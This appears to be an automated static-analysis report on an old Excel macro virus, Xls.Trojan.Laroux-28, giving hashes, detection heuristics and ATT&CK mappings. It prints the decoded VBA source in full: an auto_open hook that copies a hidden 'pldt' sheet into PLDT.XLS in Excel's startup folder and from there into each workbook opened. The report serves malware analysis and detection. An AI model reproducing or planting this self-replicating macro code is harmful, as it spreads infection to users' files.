Xls.Trojan.Laroux-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 b6845a974b172520…

MALICIOUS

Office (OLE)

83.5 KB Created: 1998-04-17 16:53:55 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 3928a437f413c87e6ad49d2f3eb4ccd7 SHA-1: dd1e16c08b84ae24892f8b6c7b542c385ac6e296 SHA-256: b6845a974b1725203f13dbb761c111ed751ca3e607f691b6d7c4ee721a54b46b
240 Risk Score

Malware Insights

Xls.Trojan.Laroux-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel 5 macro virus, identified as Xls.Trojan.Laroux-28, uses an Auto_Open macro to execute malicious VBA code. The script attempts to copy the current workbook, save it as 'PLDT.XLS' in the startup path, and then re-enables the Auto_Open macro, indicating a persistence or payload delivery mechanism.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-28
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2101 bytes
SHA-256: d00a707b95484cfa8d2274d5831a82b36f0446a31d564990b6bd671242b0e9c8
Detection
ClamAV: Xls.Trojan.Laroux-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pldt"












Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    
    Application.OnSheetActivate = "check_files"

'    wbook$ = ActiveWorkbook.Name
'    If wbook$ = "4300 Rack" Then
'        Workbooks(wbook$).Calculation = xlManual
'    Else
'    End If


End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    Dim c$, m$, p, w, whichfile, n4$, newname$, c4$, p4$, s$
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PLDT.XLS")
    If m$ = "PLDT.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("pldt").Visible = True
    Sheets("pldt").Select
    Sheets("pldt").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("pldt").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PLDT.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "pldt" Then
        Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("pldt").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "PLDT.XLS!check_files"
    Case Else
End Select
End Sub

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